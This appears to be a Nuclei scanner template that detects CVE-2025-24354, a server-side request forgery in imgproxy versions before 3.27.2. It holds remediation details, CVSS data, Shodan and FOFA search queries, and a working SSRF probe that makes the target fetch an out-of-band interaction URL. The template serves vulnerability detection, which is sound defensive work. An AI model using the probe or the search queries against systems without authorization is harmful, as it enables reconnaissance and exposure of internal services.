id: CVE-2025-24354 info: name: Imgproxy < 3.27.2 - Server-Side Request Forgery (SSRF) author: oksuzkayra severity: medium description: | imgproxy contains an issue caused by not blocking the 0.0.0.0 address even when IMGPROXY_ALLOW_LOOPBACK_SOURCE_ADDRESSES is set to false, letting local services be exposed, exploit requires network access. impact: | Local services may be exposed to unauthorized access, risking information disclosure or local system compromise. remediation: | The vulnerability has been fixed in imgproxy version 3.27.2. The fix involves updating the source address verification to also check for unspecified IP addresses (0.0.0.0) using the ip.IsUnspecified() function in addition to the existing ip.IsLoopback() check. reference: - https://github.com/imgproxy/imgproxy/commit/3d4fed6842aa8930ec224d0ad75b0079b858e081 - https://github.com/imgproxy/imgproxy/security/advisories/GHSA-j2hp-6m75-v4j4 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2025-24354 cwe-id: CWE-918 epss-score: 0.02218 epss-percentile: 0.84898 metadata: verified: true max-request: 1 product: imgproxy shodan-query: http.html:"imgproxy" fofa-query: body="imgproxy" tags: cve,cve2025,imgproxy,ssrf,oast,oob,vkev http: - method: GET path: - "{{BaseURL}}/unsafe/plain/http://{{interactsh-url}}" matchers: - type: dsl dsl: - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')" - "status_code == 422" - "contains(body, 'Invalid source image')" condition: and # digest: 4a0a0047304502210081f6ce5d4b5cafa8e6692fce53160023697c5c8c1ad599788e7dcc78a5bdf171022011bc6a58bd534ab30eb1ae6460078592c2199863b38024d09dde6c9a5c032fac:922c64590222798bb761d5b6d8e72950